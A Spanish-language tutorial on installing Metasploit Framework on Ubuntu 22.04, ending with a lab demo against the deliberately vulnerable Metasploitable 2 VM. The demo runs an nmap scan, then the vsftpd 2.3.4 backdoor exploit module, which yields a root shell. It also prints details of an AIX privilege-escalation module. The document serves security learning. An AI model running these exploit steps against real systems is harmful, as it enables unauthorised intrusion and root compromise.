Cómo instalar Metasploit Framework en Ubuntu 22.04
Como administrador de red, es importante buscar vulnerabilidades de seguridad y parchearlas lo antes posible. Metasploit es un marco de trabajo de código abierto que ayuda a identificar amenazas y vulnerabilidades. Encuentra y explota vulnerabilidades en sistemas informáticos, redes y aplicaciones. Permite a los profesionales de la seguridad simular ataques del mundo real y poner a prueba la postura de seguridad de tu organización. Viene con muchos exploits y también te permite crear los tuyos propios.
En este tutorial, aprenderás a instalar el framework Metasploit y a realizar pruebas básicas en un sistema Ubuntu 22.04.
Requisitos previos
- Una máquina que ejecute Ubuntu 22.04 con un mínimo de 4 GB de RAM.
- Un usuario no root con privilegios sudo.
- El cortafuegos sin complicaciones (UFW) está activado y en ejecución.
- Todo está actualizado.
$ sudo apt update && sudo apt upgrade
- Pocos paquetes que necesite tu sistema.
$ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
Puede que algunos de estos paquetes ya estén instalados en tu sistema.
Paso 1 – Instalar Nmap
Una de las herramientas más comunes que requiere Metasploit es Nmap, que desgraciadamente no se incluye con el código fuente. Podemos instalarlo utilizando su código fuente o podemos instalar el binario, que es una versión bastante actualizada disponible. Utilizaremos el repositorio de paquetes de Ubuntu para instalar el binario de Nmap.
$ sudo apt install -y nmap
Te mostraremos tres formas de instalar Metasploit. La primera forma es utilizar el script shell del instalador Nightly. La segunda forma es instalarlo compilando el código fuente. La tercera forma es coger directamente el paquete Deb y utilizarlo para instalar Metasploit. Sea cual sea el método que utilices, primero tendrás que instalar Nmap, ya que no se incluye con Metapsploit.
Paso 2 – Instala Metasploit con el Instalador Nocturno
Instalar Metasploit es bastante fácil utilizando el script instalador Nightly. Viene con Ruby y PostgreSQL 9.2 y se integra con el gestor de paquetes APT.
Crea un directorio temporal para descargar el script instalador de Metasploit y pasa a él.
$ mkdir msf-install && cd ./msf-install
Descarga el script instalador y cambia el nombre del archivo a msfinstall
.
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Establece el permiso 755 en el script.
$ chmod 755 msfinstall
Ejecuta el script.
$ sudo ./msfinstall
El script importará primero la clave de firma de los servidores de Metasploit, luego copiará la dirección del repositorio de Metasploit en el directorio /etc/apt/sources.list.d/
y, por último, descargará e instalará el paquete de Metasploit mediante APT y establecerá la variable PATH para él.
Ejecuta el script de consola de Metasploit para empezar.
$ cd ~ $ msfconsole
La primera vez que utilices el script, se iniciará el asistente de instalación y te preguntará si quieres crear una nueva base de datos.
** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started. Would you like to use and setup a new database (recommended)? y
Escribe y
y pulsa la tecla Intro para continuar. Esto creará una base de datos y almacenará sus datos en el directorio ~/.msf4/db
.
Running the 'init' command for the database: Creating database at /home/navjot/.msf4/db Creating db socket file at /tmp Starting database at /home/navjot/.msf4/db...server starting success Creating database users Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf Stopping database at /home/navjot/.msf4/db Starting database at /home/navjot/.msf4/db...server starting success Creating initial database schema Database initialization successful ** Metasploit Framework Initial Setup Complete **
A continuación, accederás a la consola de Metasploit, que debería tener un aspecto similar al siguiente.
Metasploit tip: Use the analyze command to suggest runnable modules for hosts .;lxO0KXXXK0Oxl:. ,o0WMMMMMMMMMMMMMMMMMMKd, 'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx, :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX, lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo xMMMMMMMMMMWd. .oNMMMMMMMMMMk oMMMMMMMMMMx. dMMMMMMMMMMx .WMMMMMMMMM: :MMMMMMMMMM, xMMMMMMMMMo lMMMMMMMMMO NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc; MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX: NMMMMMMMMW. ;KMMMMMMMMMMMMMMX: xMMMMMMMMMd ,0MMMMMMMMMMK; .WMMMMMMMMMc 'OMMMMMM0, lMMMMMMMMMMk. .kMMO' dMMMMMMMMMMWd' .. cWMMMMMMMMMMMNxc'. ########## .0MMMMMMMMMMMMMMMMWc #+# #+# ;0MMMMMMMMMMMMMMMo. +:+ .dNMMMMMMMMMMMMo +#++:++#+ 'oOWMMMMMMMMo +:+ .,cdkO0K; :+: :+: :::::::+: Metasploit =[ metasploit v6.4.1-dev- ] + -- --=[ 2405 exploits - 1239 auxiliary - 422 post ] + -- --=[ 1465 payloads - 47 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 >
Comprueba el estado de la base de datos.
msf6 > db_status [*] Connected to msf. Connection type: postgresql.
Esto confirma que está correctamente conectada a la base de datos PostgreSQL y que funciona correctamente.
Sal de la consola.
msf6 > exit
Paso 3 – Instalar Metasploit utilizando el código fuente
Instala los prerrequisitos
Instala los paquetes requeridos por Metasploit.
$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev
Instala Git. Puede que ya esté disponible en tu servidor.
$ sudo apt install -y git
Instalar PostgreSQL
Instala PostgreSQL. Ubuntu 22.04 incluye PostgreSQL 14 por defecto, que es el que utilizaremos.
$ sudo apt install -y postgresql postgresql-contrib
Comprueba el estado del servicio PostgreSQL.
$ sudo systemctl status postgresql
Deberías ver la siguiente salida confirmando que PostgreSQL se está ejecutando.
? postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled) Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 5984 (code=exited, status=0/SUCCESS) CPU: 1ms Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS... Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.
Configura PostgreSQL
Cambia al usuario PostgreSQL.
$ sudo -i -u postgres
Crea un rol PostgreSQL para Metasploit. Se te pedirá que establezcas una contraseña.
$ createuser msfuser -S -R -P
Crea una base de datos PostgreSQL para Metasploit y establece como propietario al usuario que hemos creado.
$ createdb msfdb -O msfuser
Sal de la cuenta PostgreSQL.
$ exit
Abre el archivo /etc/postgresql/14/main/pg_hba.conf
para editarlo.
$ sudo nano /etc/postgresql/14/main/pg_hba.conf
Añádele la siguiente línea debajo de la línea host all all 127.0.0.1/32 scram-sha-256
.
.... host all all 127.0.0.1/32 scram-sha-256 host "msfdb" "msfuser" 127.0.0.1/32 md5
Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.
Instala el Gestor de Versiones de Ruby (RVM)
Metasploit requiere Ruby para la instalación. Utilizaremos Ruby Version Manager (RVM) para instalar Ruby y Gems.
Importa la clave GPG de RVM.
$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
Utiliza curl para descargar el script de instalación de RVM.
$ \curl -sSL https://get.rvm.io -o rvm.sh
Instala la versión estable de RVM.
$ cat rvm.sh | bash -s stable
Obtén los scripts de RVM del directorio donde se instalaron.
$ source ~/.rvm/scripts/rvm
Descarga Metasploit
Cambia al directorio de inicio.
$ cd ~
Descarga el código fuente de Metasploit desde GitHub.
$ git clone https://github.com/rapid7/metasploit-framework.git
Cambia al directorio de Metasploit.
$ cd metasploit-framework
Verás las siguientes instrucciones al cambiar al directorio.
Required ruby-3.0.5 is not installed. To install do: 'rvm install "ruby-3.0.5"'
En ellas se menciona que la versión de Ruby requerida por el framework de Metasploit es la 3.0.5. También puedes confirmarlo ejecutando el siguiente comando.
$ cat .ruby-version 3.0.5
Instalar Ruby
Esta es la parte en la que la cosa se complica. Ubuntu 22.04 es compatible con OpenSSL 3, mientras que Ruby 3.0.x sólo funciona con OpenSSL 1.1. Esto significa que no podemos instalarlo de la forma habitual. La mejor solución es descargar el código fuente de OpenSSL 1.1, compilarlo y utilizarlo para instalar Ruby. Esto no afectará a ninguna otra aplicación de tu servidor.
Consigue OpenSSL 1.1. Puedes consultar la última versión disponible en la página de fuentes de OpenSSL 1.1.
$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
Extrae el archivo descargado.
$ tar zxf openssl-1.1.1w.tar.gz
Cambia al directorio extraído.
$ cd openssl-1.1.1w
Configura el código fuente.
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
Ejecuta el comando make.
$ make
Ejecuta de nuevo el comando make para realizar pruebas.
$ make tests
Instala OpenSSL 1.1.1w.
$ make install
Configura el directorio de certificados SSL para que apunte al directorio /etc/ssl/certs
y elimina el original.
$ rm -rf ~/.openssl/openssl-1.1.1w/certs $ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs
Vuelve al directorio Metasploit.
$ cd ~/metasploit-framework
Instala Ruby.
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w Checking requirements for ubuntu. Installing requirements for ubuntu. Updating system Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3..... ........................ Install of ruby-3.0.5 - #complete Ruby was built without documentation, to build it run: rvm docs generate-ri
Instala Metasploit
Cambia al directorio Metasploit.
$ cd ~/metasploit-framework
Instala la Gema bundler.
$ gem install bundler
Instala las Gemas Ruby necesarias.
$ bundle install
Inicia la consola de Metasploit.
$ ./msfconsole
Deberías ver una salida similar.
Metasploit tip: You can use help to view all available commands __________________ < Shells are cool. > ------------------ \ \ \ \ \ ????????? ??????????? ???????????? ??????????????? ?????????????????? ????????????????????? ??????????????????????? ??????????????????????? ????????????????????? ???????????????????????? ?????? ?????????????????????? ???????????? ?????????????????? ?????????????? ???????????????????????????????????? ??????????????????? ???????? ??????????????????? ?????? ? ?????????????????? ?? ???? ???????????????? ??? ?????? ????????? ? ??????? ???????? ??????? ????????? ????????? ????????? ????????? ?????????? ??????? ??????? =[ metasploit v6.4.2-dev-44ba1b5082 ] + -- --=[ 2408 exploits - 1240 auxiliary - 422 post ] + -- --=[ 1465 payloads - 47 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 >
Prueba la conexión a la base de datos.
msf6 > db_status [*] postgresql selected, no connection
Conéctate a la base de datos que hemos creado antes.
msf6 > db_connect msfuser:[email protected]:5432/msfdb [*] Connected to Postgres data service: 127.0.0.1/msfdb
Comprueba el estado de la base de datos.
msf6 > db_status [*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.
Sal de la consola.
msf6 > exit
Configurar los ajustes de la base de datos de Metasploit
La conexión a la base de datos no persistirá durante el uso repetido de la consola de Metasploit. Para hacerla permanente, necesitamos guardarla en un archivo del directorio ~/.msf4
.
Crea un archivo database.yml
en el directorio ~/.msf4/
.
$ touch ~/.msf4/database.yml
Ábrelo para editarlo.
$ nano ~/.msf4/database.yml
Pega en él el siguiente código.
production: adapter: postgresql database: msfdb username: msfuser password: [PASSWORD] host: 127.0.0.1 port: 5432 pool: 75 timeout: 5
Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.
Inicia de nuevo la consola.
$ ./msfconsole
Comprueba el estado de la conexión a la base de datos.
msf6 > db_status [*] Connected to msfdb. Connection type: postgresql.
Esto confirma que Metasploit se ha conectado correctamente a la base de datos PostgreSQL.
Paso 4 – Instalar Metasploit utilizando el paquete Binario
Visita la página del repositorio APT de Metasploit y coge la URL del último paquete deb de Metasploit de la parte inferior de la página. En el momento de escribir este artículo, la última versión disponible era la 6.4.1+20240326102606.
Descarga el paquete utilizando el comando wget
.
$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
Instala el paquete.
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
Continúa la instalación ejecutando el comando de la consola de Metasploit.
$ msfconsole
Continúa del mismo modo que en el paso 1 para terminar de instalar Metasploit.
Paso 5 – Prueba Metasploit
El banner superior que aparece al iniciar la consola de Metasploit puede resultar molesto, por lo que puedes desactivarlo utilizando la opción -q
.
$ msfconsole -q
De esta forma accederás directamente a la consola.
msf6 >
Para listar todos los comandos disponibles, ejecuta help
en la consola.
msf6 > help
Obtendrás la siguiente salida.
Core Commands ============= Command Description ------- ----------- ? Help menu banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host debug Display information useful for debugging exit Exit the console features Display the list of not yet released features that can be opted in to get Gets the value of a context-specific variable getg Gets the value of a global variable grep Grep the output of another command help Help menu history Show command history load Load a framework plugin quit Exit the console repeat Repeat a list of commands route Route traffic through a session save Saves the active datastores sessions Dump session listings and display information about sessions set Sets a context-specific variable to a value setg Sets a global variable to a value sleep Do nothing for the specified number of seconds spool Write console output into a file as well the screen threads View and manipulate background threads tips Show a list of useful productivity tips unload Unload a framework plugin unset Unsets one or more context-specific variables unsetg Unsets one or more global variables version Show the framework and console library version numbers .........................................................................
Para listar todos los exploits disponibles, ejecuta el siguiente comando.
msf6 > show exploits
Deberías obtener una salida similar.
Metasploit también proporciona documentación específica de la herramienta a través del siguiente comando. Puedes utilizarlo para saber más sobre cómo funciona un determinado exploit. Vamos a inspeccionar cómo funciona el exploit xorg_x11_server
.
msf6 > info xorg_x11_server
Obtendrás la siguiente salida.
msf6 > info exploit/aix/local/xorg_x11_server Name: Xorg X11 Server Local Privilege Escalation Module: exploit/aix/local/xorg_x11_server Platform: Unix Arch: cmd Privileged: No License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2018-10-25 Provided by: Narendra Shinde Zack Flack <[email protected]> Module side effects: config-changes Available targets: Id Name -- ---- 0 IBM AIX Version 6.1 => 1 IBM AIX Version 7.1 2 IBM AIX Version 7.2 Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on WritableDir /tmp yes A directory where we can write files Payload information: Description: WARNING: Successful execution of this module results in /etc/passwd being overwritten. This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd. ...................................
Utilicemos Metasploit para comprobar los puertos abiertos en una máquina infectada. Para nuestro tutorial, utilizaremos la máquina virtual Metasploitable. Es una máquina de pruebas que puedes utilizar para aprender. Estamos utilizando Metasploitable 2, que viene con un disco duro VirtualBox descargable que puedes utilizar para configurar una máquina virtual, que es la que estamos utilizando para realizar nuestras pruebas. También puedes utilizar Metasploitable 3 que es una máquina VirtualBox basada en Vagrant que requerirá un tipo de instalación diferente.
Utiliza la herramienta Nmap para buscar puertos abiertos.
msf6 > nmap -sV 192.168.31.36
Deberías ver una salida similar dependiendo de la máquina que estés inspeccionando.
msf6 > nmap -sV 192.168.31.36 [*] exec: nmap -sV 192.168.31.36 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST Nmap scan report for 192.168.31.36 Host is up (0.0046s latency). Not shown: 977 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
Ahora que tenemos una lista de puertos abiertos para explotar, vamos a utilizar uno de ellos. Utilizaremos el servicio vsftpd
para explotarlo. Antes de hacerlo, vamos a buscarlo en nuestra lista de exploits para saber más sobre él.
msf6 > search vsftpd
Recibirás el siguiente resultado.
msf6 > search vsftpd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service 1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
A continuación, podemos copiar el nombre del exploit y utilizarlo utilizando el siguiente comando. Este comando nos permite entrar en el exploit.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
Obtendrás la siguiente salida.
[*] No payload configured, defaulting to cmd/unix/interact
El prompt de la consola cambiará a lo siguiente.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
A continuación, utiliza el comando show options
para comprobar los requisitos del exploit.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Obtendrás la siguiente salida.
Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- CHOST no The local client address CPORT no The local client port Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 21 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic View the full module info with the info, or info -d command.
Aquí puedes ver la configuración actual de algunas variables. RHOSTS
en la salida especifica IP de host remoto y RPORT
se refiere a un puerto de host remoto. Configura la IP del host remoto para que este exploit funcione. Esto le indicará a qué máquina debe dirigirse.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36 RHOSTS => 192.168.31.36
Ahora que la IP del host remoto está configurada, podemos proceder con el hackeo. Ejecuta el comando exploit
y espera a que el hackeo se lleve a cabo.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Deberías ver la siguiente salida.
[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.31.36:21 - USER: 331 Please specify the password. [+] 192.168.31.36:21 - Backdoor service has been spawned, handling... [+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530
Deberías poder escribir cualquier comando y funcionará en el sistema objetivo confirmando el hackeo. Para confirmarlo, utiliza el comando ifconfig
para obtener los detalles de la red.
ifconfig
Obtendrás la siguiente salida que muestra que la salida procede de la máquina objetivo, lo que significa que nuestro exploit ha funcionado.
eth0 Link encap:Ethernet HWaddr 08:00:27:88:8d:ae inet addr:192.168.31.36 Bcast:192.168.31.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1671 errors:0 dropped:0 overruns:0 frame:0 TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:145408 (142.0 KB) TX bytes:142342 (139.0 KB) Base address:0xd020 Memory:f0200000-f0220000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:274 errors:0 dropped:0 overruns:0 frame:0 TX packets:274 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:109881 (107.3 KB) TX bytes:109881 (107.3 KB)
Ésta es sólo una de las cosas que puede hacer Metasploit. Puedes hacer muchas más cosas utilizándolo para encontrar vulnerabilidades y averiguar cuáles de tus máquinas están abiertas y son vulnerables a un ataque y parchearlas.
Paso 6 – Actualiza Metasploit
Metasploit viene con su script de actualización. Si lo has instalado siguiendo los pasos 2 y 4, sólo tienes que ejecutar el siguiente comando para actualizar Metasploit.
$ sudo msfupdate
Además, los dos mismos métodos configuran el repositorio APT para que no necesites ejecutar el script. Cada vez que ejecutes sudo apt update && sudo apt upgrade
, Metasploit se actualizará.
Si instalaste Metasploit desde el código fuente, tendrás que actualizarlo manualmente. Cambia al directorio del framework de Metasploit.
$ cd ~/metasploit-framework
Primero, configura algunas variables para Git. Esto es sólo un proceso de una sola vez.
$ git config --global user.name "YourName" $ git config --global user.email "[email protected]"
Ahora, puedes ejecutar las actualizaciones utilizando el siguiente comando.
$ ./msfupdate
Para evitar ejecutar este comando una y otra vez, puedes configurar una tarea cron para que se actualice automáticamente. Ejecuta el siguiente comando para iniciar el editor Crontab.
$ crontab -e
Se te preguntará qué editor utilizar.
no crontab for navjot - using an empty one Select an editor. To change later, run 'select-editor'. 1. /bin/nano <---- easiest 2. /usr/bin/vim.basic 3. /usr/bin/vim.tiny 4. /bin/ed Choose 1-4 [1]: 1
Elige 1 si quieres utilizar el editor nano. Éste es el que utilizaremos.
A continuación, pega el siguiente código para activar las actualizaciones automáticas de Metasploit.
0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&1
Esto ejecutará el script de actualización a la 1 de la madrugada todos los días. Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.
Ya está. Esto mantendrá tu Metasploit actualizado sin ninguna intervención.
Paso 7 – Desinstala Metasploit
Si instalaste Metasploit siguiendo los pasos 2 ó 4, para eliminarlo sólo tienes que ejecutar el siguiente comando.
$ sudo apt autoremove --purge metasploit-framework
Sin embargo, si lo instalaste utilizando el código fuente, entonces para eliminar Metasploit, necesitas ejecutar una serie de comandos.
$ rm -Rf ~/.rvm $ rm -Rf ~/.gem $ rm -f ~/.gemrc $ rm -Rf ~/.bundle $ rm -f ~/rvm.sh $ rm -rf ~/.local/share/gem
Abre el archivo .bashrc
para editarlo.
$ nano ~/.bashrc
Elimina la siguiente línea de la parte inferior del archivo.
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change. export PATH="$PATH:$HOME/.rvm/bin"
Por último, elimina PostgreSQL si no lo utilizas.
Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida una vez hayas terminado.
Abre el .bash_profile
para editarlo.
$ nano ~/,bash_profile
Elimina las siguientes líneas de la parte inferior del archivo.
[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te pida.
Abre el archivo .profile
para editarlo.
$ nano ~/.profile
Elimina el siguiente código de la parte inferior del archivo.
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change. export PATH="$PATH:$HOME/.rvm/bin" [[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Guarda el archivo pulsando Ctrl + X e introduciendo Y cuando se te indique.
Abre los archivos para volver a cargar los cambios.
$ source ~/.bashrc $ source ~/.bash_profile $ source ~/.profile
Elimina los directorios de Metasploit.
$ rm -rf ~/metasploit-framework $ rm -rf ~/.msf4
Desinstala PostgreSQL si ya no lo necesitas.
$ sudo apt autoremove --purge postgresql postgresql-contrib
Desinstala OpenSSL 1.1.1. Los siguientes comandos desinstalarán el paquete, limpiarán el directorio y eliminarán el archivo descargado.
$ cd ~/openssl-1.1.1w $ make uninstall $ cd ~/ $ rm -rf ./openssl-1.1.1w $ rm openssl-1.1.1w.tar.gz
Conclusión
Con esto concluye nuestro tutorial sobre la instalación del framework Metasploit en un sistema Ubuntu 22.04 y cómo realizar algunas operaciones básicas. Si tienes alguna pregunta, publícala en los comentarios a continuación.